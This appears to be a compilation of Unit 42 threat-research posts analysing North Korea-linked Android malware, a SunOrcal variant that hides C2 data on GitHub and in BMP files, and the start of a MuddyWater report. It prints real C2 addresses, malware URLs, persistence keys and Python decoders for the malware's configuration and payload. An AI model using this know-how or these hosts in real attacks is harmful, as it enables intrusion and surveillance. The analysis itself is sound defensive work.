Operation Blockbuster Goes Mobile

Posted on November 20, 2017November 1, 2018 by Anthony Kasza

Unit 42 has discovered a new cluster of malware samples, which targets Samsung devices and Korean language speakers, with relationships to the malware used in Operation Blockbuster. The specific points of connection between these new samples and Operation Blockbuster include:

payloads delivered by the macros discussed in Operation Blockbuster Sequel
malware used by the HiddenCobra threat group
malware used in the 2016 attack on the Bangladesh SWIFT banking system
APK samples mimicking legitimate APKs hosted on Google Play

Although Unit 42 cannot provide a full picture of the details surrounding the delivery of these samples, we are confident this activity targets Korean language speakers who use Samsung devices. Based on this evidence we believe this new malware is likely targeting South Koreans.
The newly discovered samples show new capabilities not previously documented. A strong relationship between previously identified malware samples attributed to these campaigns and the newly discovered samples examined in this report.

New Malware Cluster
At the center of the cluster of new malware samples is a PE (ed9e373a687e42a84252c2c01046824ed699b32add73dcf3569373ac929fd3b9) uploaded to VirusTotal with the filename "JAVAC.EXE". The sample requires two command line parameters to run, the first is a port number which the binary binds to, acting as a webserver, and the second is also a port number which is used for encrypted protocol communications.
The first port mimics an Apache server, using header values that Apache would use and will serve different resources to requests on the port, depending on the User-Agent header values used. Some of the responses given are embedded in the original PE, whilst others are expected to be found on the local disk. The following JavaScript files are embedded in the resource section of JAVAC.exe:

Filename	SHA256	Purpose
jquery50.js	2b15e4289a3eb8e4eb8c2343895002dde7f5b2791e3c799b4f869be0aa85d2e8	Gets and sets client HTTP Cookie header values e.g. "GoogleAppCookie". Redirects clients to "main.js"
jquery52.js	b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348	Gets and sets client HTTP Cookie header values e.g. "GoogleAppCookie". Redirects clients to "update.js"
jquery99.js	941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc	Redirect all client requests to mboard_ok.css.
main.js	790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a	Collect system information and invoke a system shell. These are used to accomplish the following: Install and invoke an APK Write an ELF file to disk on the client
umc.apk	4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a	Three nested APKs which ultimately lead to a backdoor APK implant. This file is likely installed silently by visiting the next resource with an HTTP client. Further details on this APK follow below.
update.js	cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792	Redirect all client requests to a URL which triggers a vulnerability in Samsung devices to install an APK.

The system name this PE HTTP server is intended to execute on has a hostname of "RUMPUS-5ED8EE00". This is checked by JAVAC.exe during execution. Besides the resources listed in the table above, it is important to note that JAVAC.exe expects additional files located on the system due to some of the resources referencing local JavaScript files. These include the following filenames:

mboard_ok.css
node_n.js
node_e.js
node_g.js
node_p.js
node_ok.js
node_nc.js
node_ex.js

We have not been able to obtain copies of these resources.
Related ELF ARM Samples
The ELF ARM file embedded in main.js is written to HTTP clients' disks by the logic in main.js. Below is a table outlining indicators from this embedded ELF ARM.

SHA256	Description	Embedded IPv4 Addresses
0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d	ELF ARM file embedded in main.js	97.211.212.31 14.139.200.107 175.100.189.174

This ELF ARM file is one of three we identified. These ELF files are similar to PE files named Cruprox by Symantec, Manuscrypt by Kaspersky, and Clevore by Trend Micro. The ELF ARM samples contain lists of domains (used for deception) and IPv4 addresses (used for command and control). These domains and IPv4 addresses are used to generate crafted TLS sessions similarly to the "fake TLS" communication mechanisms in section 4.3.3.1 of the Operation Blockbuster report by Novetta.
The ELF ARM samples choose one of the embedded domains to populate an SNI field of a TLS connection to one of the embedded IPv4 addresses. By doing command and control in this way an analyst observing the connection stream only sees what looks like (but is not) a TLS connection to a legitimate domain name. The domain names included in 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d are as follows:

myservice.xbox[.]com
uk.yahoo[.]com
web.whatsapp[.]com
www.apple[.]com
www.baidu[.]com
www.bing[.]com
www.bitcoin[.]org
www.comodo[.]com
www.debian[.]org
www.dropbox[.]com
www.facebook[.]com
www.github[.]com
www.google[.]com
www.lenovo[.]com
www.microsoft[.]com
www.paypal[.]com
www.tumblr[.]com
www.twitter[.]com
www.wetransfer[.]com
www.wikipedia[.]org

An example TLS "Client Hello" record generated by 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d is given below. It includes a legitimate domain name in its SNI field yet is sent to a command and control IPv4 address.

By examining strings, binary functions, and embedded IPv4 addresses of 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d, we were able to hunt for and locate two additional ELF ARM samples. Below is a table of the related ELF ARM samples:

SHA256	Description	Embedded IPv4 Addresses
800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266	ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d Embedded in 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 (described below)	14.139.200.107 197.211.212.31 199.180.148.134 110.45.145.103 217.117.4.110 61.106.2.96 175.100.189.174
153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6	ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d	181.119.19.100 114.215.130.173 139.196.55.146 124.248.228.30 119.29.11.203

Related APK Samples
In addition to ELF ARM files the HTTP Server can also serve APK files. As previously stated, an APK with SHA256 4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a is embedded as a resource in the HTTP PE server sample with a name of "umc.apk".
Umc.apk defines intent filters to receive events from the Android operating system when the APK is replaced (PACKAGE_REPLACED), when the device receives a text message (SMS_RECEIVED), and when the device is in use by a user (USER_PRESENT). Umc.apk installs an embedded APK with the SHA256 value of a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041. A984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041 has a name of "install.apk".
The purpose of install.apk is to cleanup umc.apk and install a third APK with a SHA256 hash of 4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416 and a name of "object.apk".
Object.apk is the final malicious payload. This APK ensures that it is running when the device is booted and provides backdoor capabilities to its controller.

Record the microphone
Capture from the camera
Upload, execute, and manipulate local files
Download remote files
Record GPS information
Read contact information
Observe SMS or MMS messages
Record web browsing history and bookmarks
Scan and capture WiFi information

Below is an image of decompiled code from a main component of the backdoor. It shows the internal version number for this APK is “4.2.160713” it is unclear if this is an accurate representation of the number of iterations of development undertaken on this malware family, or if it is to give the APK an air of legitimacy.

Configuration information for object.apk is included in the APK as a resource named "assest.png". The configuration information can be decoded using the following Python function:

def cnfdecr(s):
  b = ''
  for each in s:
    tmp = ord(each)
    tmp = tmp - 55
    tmp = tmp ^ 0x12
    b += chr(tmp)
  return b

def cnfdecr(s):

b = ''

for each in s:

tmp = ord(each)

tmp = tmp - 55

tmp = tmp ^ 0x12

b += chr(tmp)

return b

The decoded configuration values and their purposes follow:

Value	Purpose
4	Proxy Count
113.10.170.98	IPv4
443	Port Number
98.101.211.250	IPv4
443	Port Number
173.0.138.250	IPv4
443	Port Number
192.168.1.49	IPv4
443	Port Number
60	Sleep Time
5	Max Repetition Count

Following our analysis of the payload APK, we were able to locate an additional related APK. The APK with SHA256 hash value of 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 contains 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266, one of the ELF ARM files discussed in a table under the section titled, "Related ELF ARM Samples".
This APK, 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3, contains resources which reference legitimate applications of varying popularity. We hypothesize the inclusion of these resources are to disguise the application's true intent and to make the application seem legitimate. The inclusion of KaKaoTalk resources leads us to believe this APK is targeting South Koreans. The image below shows some of the referenced mobile applications resources:

The purpose of 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 is to execute the ELF ARM file is contains. Below shows decompiled source code of the "com.godpeople.GPtong.ETC.SplashActivity" resource in the APK which contains the main functionality of the APK. It executes the ELF ARM file named "while" and logs activity to the debug log named "snowflake".

Relationships to Known Samples
Originally, the PE server was identified by its binary overlaps with the following samples:

410959e9bfd9fb75e51153dd3b04e24a11d3734d8fb1c11608174946e3aab710
4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5

When executing, both samples create the mutex "FwtSqmSession106839323_S-1-5-20" which has ties to Operation Blockbuster and the attacks on the SWIFT banking system. Once this overlap in indicators was identified, and manual investigation began, additional overlaps began to emerge.
Additional functional code overlaps are found between the following samples and the PE server:

1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82
af71ba26fd77830eea345c638d8c2328830882fd0bd7158e0abc4b32ca0b7b74

The PE server sample is not the only sample with ties to previously identified malware. Infrastructure reuse also exist between the IPv4 addresses embedded in ELF ARM files detailed in the previous section and previously identified malware. For example, 175.100.189.174 is embedded in 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 and is also contacted by a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6, a documented Destover sample.
Another example of IPv4 address reuse is 119.29.11.203. This IPv4 address is embedded in the ELF file with SHA256 of 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 and is also contacted by 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd which is a PE payload delivered by the macros in the following malicious documents:

7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0
ffdc53425ce42cf1d738fe22016492e1cb8e1bc657833ad6e69721b3c28718b2
c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89

These macros share the same logic as macros discussed by Unit42 in previous reports.

Final Thoughts
It is clear that source code was reused between previously reported samples and the cluster of new samples outlined by Unit 42. Additionally, command and control IPv4 addresses were reused by the malware discussed in this analysis. Technical indicators as well as soft indicators, such as APK themes and names, provide soft and tenable ties to the actors behind Operation Blockbuster and the HiddenCobra group.
The image below summarizes all of the relationships presented in this report:

Attribution is difficult to confidently achieve even with an in-depth technical knowledge and large pool of telemetry to hunt through. Without targeting and delivery information this report offers a partial perspective on this new activity targeting Korean speaking Samsung users.
Palo Alto Networks customers can review this cluster of newly discovered malware by examining the GoingMobile AutoFocus tag.
Unit 42, before publication, notified both Samsung and the KrCERT of the activity detailed here. We would like to thank both organizations for working so quickly with us.
Indicators of Compromise
SHA256
06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3
0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d
153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6
1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82
2b15e4289a3eb8e4eb8c2343895002dde7f5b2791e3c799b4f869be0aa85d2e8
410959e9bfd9fb75e51153dd3b04e24a11d3734d8fb1c11608174946e3aab710
4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416
4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a
4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5
7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd
7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0
790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a
800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266
941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc
a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6
a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041
b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348
c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89
cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792
ed9e373a687e42a84252c2c01046824ed699b32add73dcf3569373ac929fd3b9
ffdc53425ce42cf1d738fe22016492e1cb8e1bc657833ad6e69721b3c28718b2

Mutexes
FwtSqmSession106839323_S-1-5-20

IPv4s

110.45.145.103
113.10.170.98
114.215.130.173
119.29.11.203
124.248.228.30
139.196.55.146
14.139.200.107
173.0.138.250
175.100.189.174
181.119.19.100
197.211.212.31
199.180.148.134
211.115.205.41
217.117.4.110
61.106.2.96
98.101.211.250

Domains

www.radioapp[.]co[.]kr

Filenames
JAVAC.EXE
jquery50.js
jquery52.js
jquery99.js
main.js
umc.apk
update.js
mboard_ok.css
node_n.js
node_e.js
node_g.js
node_p.js
node_ok.js
node_nc.js
node_ex.js
object.apk
Install.apk
while

SunOrcal Adds GitHub and Steganography to its Repertoire, Expands to Vietnam and Myanmar

Posted on November 20, 2017November 1, 2018 by Josh Grunzweig

Summary
Recently, while Unit 42 was researching Reaver, the newest malware family related to attackers who also use SunOrcal, we also uncovered a new variant of the SunOrcal malware family. This new variant has been in the wild since at least May 2017 and uses both GitHub and steganography in a possible attempt to obscure its C2 infrastructure or perhaps to avoid detection by having the malware variant first beacon to a legitimate site.
SunOrcal activity has been documented to at least 2013, and may have been active as early as 2010. This new variant was used concurrently with both Reaver and traditional SunOrcal and shares much of the same infrastructure. We have also tied this activity to some involving the Surtr malware family, which is another tool used by these attackers.
The steganography technique we found in these new SunOrcal variants has also been used in a recent malicious document that uses a lure related to Donald Trump’s recent visit to Asia. The malicious document specifically mentions the disputed South China Sea area and targets individuals in the Vietnam region. In addition, we uncovered activity using traditional SunOrcal in March and May of 2016 that targeted at least one official entity in Myanmar. Both Vietnam and Myanmar are outside of the typical targeting of these threat actors, indicating a potential broadening or shifting of targets. However, we do not have enough data to say whether this is a temporary or permanent expansion of activity.
In the following two sections we describe the new SunOrcal variant and ties between this activity, Reaver, traditional SunOrcal, and Surtr malware families.

SunOrcal Malware Analysis
For the following analysis, we analyzed the sample with the following attributes:

SHA256	887aeccfb981266f1d47a68cba64de47a4945a63d3b1787294ac98842ff47ffd
Compile Timestamp	2017-06-22 06:43:05 UTC

The malware begins by creating a mutex with a name of ‘GloablCryptNv1.453.2232’. This mutex is created to ensure only a single instance of SunOrcal is running at a given time.
Afterwards, the malware attempts to decrypt various configuration strings using an XOR key of 0xE8. These strings may contain various information, including the following:

Remote command and control (C2) server
C2 port
Various Boolean values
Download URL for payload
GitHub link to extract payload C2
GitHub Boolean value

As we can see in the following screenshot, some of these configuration options are stored with filler strings that will not actually be used, typically prefaced by ‘!!!’.

Figure 1 SunOrcal XOR-encoded Configuration Strings

After the configuration is parsed and decrypted, the malware will check the string at offset 0x412738 for a value of ‘yes’. If this is found, which is true in the case of this particular sample, the malware will attempt to communicate with GitHub to extract a host and port that will eventually be used by the final payload. This particular sample is configured to look at a file hosted at the following URL:

https://github.com/NordicMyth/NordicMyth/blob/master/README2.md

This file contains the following information:

Figure 2 Contents of README2.md

Additionally, a number of other similar files are hosted in this repository as shown in figure 3:

Figure 3 NordicMyth repository hosting various C2 information

Readers that look at the README2.md file contents may notice an oddity towards the bottom left within the paragraph of text. How this text is used will become apparent shortly.
At this stage, the malware will download the contents of this README2.md file and search for any data between two strings of ‘NorMsL’. In our previous example (as shown in figure 2), the following text is found between the two strings and so is returned:

AFaiOVa0BVOdBF6gzcK6yEzvTtk=

This SunOrcal variant proceeds to decode this string using base64 with the following custom alphabet:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+-
It then takes the resulting decoded text and decodes it yet again using the standard base64 alphabet. Finally, this resulting string from this double decoding operation is XORed against 0xE5. This entire process looks like the following:

Figure 4 GitHub de-obfuscation process for extracting a C2 server

To date, we have only seen the NordicMyth GitHub repository used by SunOrcal variants using this GitHub technique. Using historical commits, we were able to observe the following remote C2 servers:

'AFaiOVa0BVOdBF6gzcK6yEzvTtk=' : 'www.weryhstui[.]com:80'
'AFaiOU2sw9q3w829RZ3jOUqayd-tRg==' : 'www.eyesfeel256[.]com:80'
'AFaiOUG9z8K4yE6cOUqayd-tRg==' : 'www.olinaodi[.]com:80'
'RdPnOZjjTsLkOZjlQt-tRg==' : '192.168.1[.]104:80'
'RdviOZnbRsLkTZTl' : '127.0.0[.]1:80'
'RdPnOZjjTsLkOZjlQt-tRg==' : '192.168.1[.]104:80'

'AFaiOVa0BVOdBF6gzcK6yEzvTtk=' : 'www.weryhstui[.]com:80'

'AFaiOU2sw9q3w829RZ3jOUqayd-tRg==' : 'www.eyesfeel256[.]com:80'

'AFaiOUG9z8K4yE6cOUqayd-tRg==' : 'www.olinaodi[.]com:80'

'RdPnOZjjTsLkOZjlQt-tRg==' : '192.168.1[.]104:80'

'RdviOZnbRsLkTZTl' : '127.0.0[.]1:80'

'RdPnOZjjTsLkOZjlQt-tRg==' : '192.168.1[.]104:80'

After the C2 string is extracted from the remote GitHub URL, it will save both the host and the port to their relevant configuration variables.
At this point, SunOrcal will check the current version of Microsoft Windows to see if it is running Windows Vista or higher. If this is the case, it will use the following path to store subsequent files:

C:\ProgramData\[random_directory]

Otherwise, it will use the following hard-coded directory:

C:\Documents and Settings\All Users\Application Data\[random_directory]

Where ‘[random_directory]’ is a randomly chosen 8-byte alphanumeric string. In the event the malware identifies that it is already running within this path, it will read the ‘updata.log’ file stored in this path. This read data contains a file path to the original executable, which in turn is deleted, removing traces of the original infection.
Otherwise, SunOrcal will create the randomly named directory and create the ‘updata.log’ file, which it then will write to. The path of the currently running executable will be written to this log file. SunOrcal will also create a ‘data’ subdirectory.
The malware continues to copy itself to the random directory previously created with a filename of ‘sppsvc.txt’. This ‘sppsvc.txt’ file is then renamed to ‘sppsvc.exe’. This newly written executable then has its creation and last write time modified to reflect the year 2008. The last access time is modified to the year 2012. All other time values remain unchanged.
At this stage the malware will write the ‘updata.log’ file with the current filename’s path.
SunOrcal will write one the following registry key to ensure persistence:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\sppsvc : C:\ProgramData\[random_directory]\sppsvc.exe
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\sppsvc : C:\Documents and Settings\All Users\Application Data\[random_directory]\sppsvc.exe
The malware continues to attempt to download a bitmap (.BMP) file from a remote location. This particular sample was configured to download it from the following URL:

http://www.fyoutside[.]com/dwm99.bmp

This .BMP file is written to the previously created ‘data’ subdirectory, with a filename of ‘dwm.dll’. This BMP is in fact an obfuscated DLL file. Opening the BMP file makes this clear as shown in figure 5.

Figure 5 Downloaded BMP file containing obfuscated DLL file

Prior to be written to disk, SunOrcal will decode this BMP file using an incremental XOR scheme. The contents of the executable begin at offset 54 of the downloaded BMP. The following Python script may be used to decode this data:

import sys
file = sys.argv[1]
f = open(file, 'rb')
fd = f.read()
f.close()
def xor(data):
  out = ""
  out += data[0:54]
  c = 255
  for d in data[54:]:
    out += chr(ord(d) ^ (c % 256))
    c += 1
  return out
newfile = "{}_{}.{}".format(file.split(".")[0], "decoded", file.split(".")[1])
f1 = open(newfile, 'wb')
f1.write(xor(fd))
f1.close()
print("[+] Wrote {}".format(newfile))

import sys

file = sys.argv[1]

f = open(file, 'rb')

fd = f.read()

f.close()

def xor(data):

out = ""

out += data[0:54]

c = 255

for d in data[54:]:

out += chr(ord(d) ^ (c % 256))

c += 1

return out

newfile = "{}_{}.{}".format(file.split(".")[0], "decoded", file.split(".")[1])

f1 = open(newfile, 'wb')

f1.write(xor(fd))

f1.close()

print("[+] Wrote {}".format(newfile))

After running this script, we see the following differences:

Figure 6 Decoding BMP file to reveal DLL file

As the decoded DLL is written to disk, the malware will also write configuration information to this file. This includes, but is not limited to, the C2 host and port it retrieved from GitHub earlier.
After this file is written, the malware proceeds to load the DLL and calls the ‘FunctionWork’ exported function. At this point, the final payload of SunOrcal is executed.

Ties to Reaver and previous SunOrcal and Surtr Activity
The new SunOrcal variant was used concurrently with both traditional SunOrcal and the new Reaver malware family since at least May 2017. There are multiple overlaps with the C2 infrastructure that we detailed in the previous Reaver blog. In addition to those overlaps, one of the domains we found as a C2 via historical commits to the NordicMyth GitHub, www.eyesfeel256[.]com, was also used as a C2 for SunOrcal activity in March and June 2016 targeting at least one organization in Myanmar. The domain hosting the SunOrcal malware in those attacks, www.outsidefly[.]com, is listed in a 2013 report discussing targeted attacks against Tibetan community using Surtr malware. All of these domains, and several others listed in the 2013 report, also have the same historic registrant as well as PDNS overlap and many have been used in earlier activity involving the SunOrcal and/or Surtr malware families. Several of the SunOrcal variants are also configured to use www.weryhstui[.]com and fyoutside[.]com in addition to GitHub, both of which are documented in our previous blog as used by both Reaver and traditional SunOrcal samples. Below is a simplified chart showing a sample of the overlaps that can be found while investigating activity involving these three malware families.

Figure 7. Chart showing some of the overlaps between Reaver, Surtr, and SunOrcal (traditional and the GitHub variant) malware families. All IOCs are in the appendix of this blog

Recent Attacks

One of the most recent attacks that Unit 42 found related to this campaign consisted of a malicious RTF document was served on November 8, 2017 with the following SHA256 hash:
45eee0e7e41f5781577f7f380d90eb7145ab6ba9a8f64df31bb6fd3e72693f33
This most recent malicious RTF in question had an original filename as follows:
Doanald Trump dự APEC khẳng định Vai Trò số 1 của Việt Nam ở Biển Đông khiến Trung Quốc bẽ mặt.doc
This roughly translates to the following:
Donald Trump of APEC confirms Vietnam's No. 1 role in South China Sea is humiliating.doc
Inspection of this RTF document revealed that it loads an embedded executable file that has heavy code overlap with the previously discussed SunOrcal variant. It looks to be streamlined to remove much of the previously witnessed functionality, and simply is configured to download a remote BMP file, decode it to reveal an executable file, and set persistence for this file.
The specific BMP is downloaded from the following location:

http://www.fyoutside[.]com/l1106.bmp

In addition to the code overlap, the domain used to download this BMP has been used as a C2 for the SunOrcal variant leveraging steganography as well as with traditional SunOrcal, and was also seen hosting Reaver malware.
The payload is dropped to ‘%TEMP%\mstk.exe’ and the HKCU Run registry key is configured to point at this executable. This sample has been observed downloading the previously discussed Reaver malware family.

Conclusion
As attackers continue to grow and evolve, so does their toolsets. SunOrcal activity has been documented to at least 2013, and may have begun as early as 2010. This new variant was used concurrently with both Reaver and traditional SunOrcal, to include sharing much of the same infrastructure. We have also tied this activity to some involving the Surtr malware family, which is another tool used by these attackers.
As we have discovered, the attackers behind SunOrcal have updated this malware family to include both steganography techniques as well as the ability to collect C2 information from the popular GitHub service. It is interesting to note the rollout out of both a new malware family with three variants, along with an updated variant of a known family, coincides with what seems to be new targeting outside of what the attackers have targeted in the past. We have witnessed recent attacks that appear to be conducted by the same threat group but focused on Vietnam and Myanmar, instead of the traditional focus on the “Five Poisons”. These attacks use very topical lures to entice their targets to open and subsequently be infected by these files. We will continue to monitor this activity and report as appropriate.
Palo Alto Networks customers are protected from these threats via a number of ways:

All malware families discussed are tagged within AutoFocus
Malicious samples have been appropriately flagged within the WildFire platform
Domains used by this threat have been classified as malicious
Traps blocks the exploit used by the recently observed attacks

AutoFocus customers can monitor activity using these malware families with the following tags:

Appendix

SunOrcal Samples Using GitHub
e1d9cc6b5effa6a579801fb0d2fbfb700a50c916283dad205a7c88128376f098
d5e5abae142139484089974cbcaae5ac76d88f25a42fb961d8018a3c63a2601c
67ef25b0708e6c268d2cbd78d03141acfc9cf895b8422da69beb2ca598f2fcc7
a13647468498dd7c95de7d168c926cf53eb01fbc262bf372790b47b704c44a04
da0a0f940cc01f1e29304d860f144bde7a132d6e0abdec6588fac38875be248a
887aeccfb981266f1d47a68cba64de47a4945a63d3b1787294ac98842ff47ffd
81d887fefdbb0219647991c2b7bddf45c2fede4dc6fc18408f1706e0279615b2
840f55183809efa356cb1b7f4057f81e3752e7a6bcc1784f59551d988c690c48
58eac547fcba5572361daf4b49200f6d95114492ee296bc25542e8288e9542fa
163a82ab3db709da8fef18de67b71b19f300253b285bccccbf9375857d96e4d6
49adaad1ecfaba2de15d5024656ad277b39fcfcc07683c04a205bbedb027a9a1
491eec8b0d6aaf3aaeef3d4d53f5b94be6d84ab081d0d8e9859347e3c3cf0acc
48836912f48106e02ec0e083095fcf3a38cf871081e6cefbcd774e84168e8673
7288d5ae3c82cf3cda4815732edc144edb5ff728a5ecb0ba8caf76f7acde5488
0ea195e7927fb1d2d13c9b90da846f532be6924f8a2650c026c9105a297cce46

Malicious RTF
45eee0e7e41f5781577f7f380d90eb7145ab6ba9a8f64df31bb6fd3e72693f33

Traditional SunOrcal
799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac
58312fb742ce881e040e1b5b8555f00a402b8dd4fc886acaae2f862040b3bfc5
38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb
cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f

Reaver
Reaver.v1
d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666

Reaver.v2
98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c
05ddbd0506ec95fb460b3994e5b21cdb0418ba4aa406374ca1b91249349b7640

Reaver.v3
18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92
c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d
9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b
26c234c73e2c3448589c7d4a0cf17f615ad3666541a4e611e2d8b77637205bcf
ae9f158e4886cfdbfb4f1b3b25707d05f6fd873d0be9d8e7334a2c28741228ee
1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1
c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c
1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1

Surtr
992e4577807e57b691acdfbace2651efe18292d1020fa94b44ea365885c6ccf0
4dffdd62a11d7095960a9a6583173dde418dd1c42df1cb656eeb6edeecde3917

Domains and IP addresses
www.weryhstui[.]com
www.eyesfeel256[.]com
www.olinaodi[.]com
www.fyoutside[.]com
www.flyoutside[.]com
www.outsidefly[.]com
www.eyestouch256[.]com
www.tashdqdxp[.]com
104.148.70[.]217
98.126.156[.]210
119.42.148[.]246

2 Minute Threat Brief: Expanding Targets for New SunOrcal Malware Variant

Posted on November 20, 2017September 21, 2020 by Eila Shargh

Unit 42 has recently been investigating a new malware family called Reaver. While we have identified it as being active since late 2016, Reaver has been used sparingly, with only a small number of unique samples identified. Its targets have been movements the Chinese government consider dangerous, also known as the “Five Poisons.” We found that the Reaver malware family has shared command-and-control (C2) infrastructure overlap SunOrcal malware, and that these have been used concurrently since late 2016.

While investigating Reaver we recently also discovered a new variant of the SunOrcal malware family. While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.

How it Works
Emails were sent to targets containing malicious attachments. Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area. This is a classic lure technique – including something the target will find interesting or important causing them to open the file and download the malware on to the victims’ system.

How to Defend Against it
These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment. Security awareness is critical to avoid falling victim to such an attack.

General email best practices:

Make sure the sender is a trusted source. If you’ve never received something from them before, or the email address has typos, don’t open it.
If the sender appears to be convincing, pay close attention to the body of the email. Are there a lot of typos? Does the branding/logo look different? Does it look unprofessional?
Never click on a link within the email or download an attachment.
Don’t respond to the email with any password or personal information.

If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark. Additionally, keeping your systems and devices updated with the most current operating system and web browser is a general security best practice, as well as enabling multi-factor authentication to prevent an attacker from abusing credentials should they successfully capture them.

Muddying the Water: Targeted Attacks in the Middle East

Posted on November 14, 2017 by Tom Lancaster

Summary
This blog discusses targeted attacks against the Middle East taking place between February and October 2017 by a group Unit 42 is naming "MuddyWater". This blog links this recent activity with previous isolated public reporting on similar attacks we believe are related. We refer to these attacks as MuddyWater due to the confusion in attributing these attacks. Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related.
The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

Introduction & Overview
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes. Which in turn, closely resembles a previous article by Morphisec. These attacks have also been tracked by several other researchers on Twitter and elsewhere.
The activity has been consistent throughout 2017 and, based on our analysis, targets or is suspected to target, entities in the following countries:

Saudi Arabia
Iraq
Israel
United Arab Emirates
Georgia
India
Pakistan
Turkey
USA

The malicious documents were adjusted according to the target regions, often using the logos of branches of local government, prompting the users to bypass security controls and enable macros. An overview of the technical changes seen in the past year is given in the graphic below, note that raw IOCs present in this graphic can be found as text in the Appendix at the end of this article.

Figure 1. An overview of the delivery of POWERSTATS, C2 URLs used, and other changes in the malware

MuddyWater in the Middle East
The attackers behind MuddyWater have been active throughout 2017, with targets across the Middle East and surrounding areas, examples of the decoy documents observed is given in Table 1.
Of course, being named in a decoy document doesn’t mean any of these organizations have been attacked themselves or are involved in the attacks: the MuddyWater actors are abusing the trust these organizations’ names and/or logos command for their malicious purposes.

Month	File Name or Decoy Document Theme	Suspected Target Region
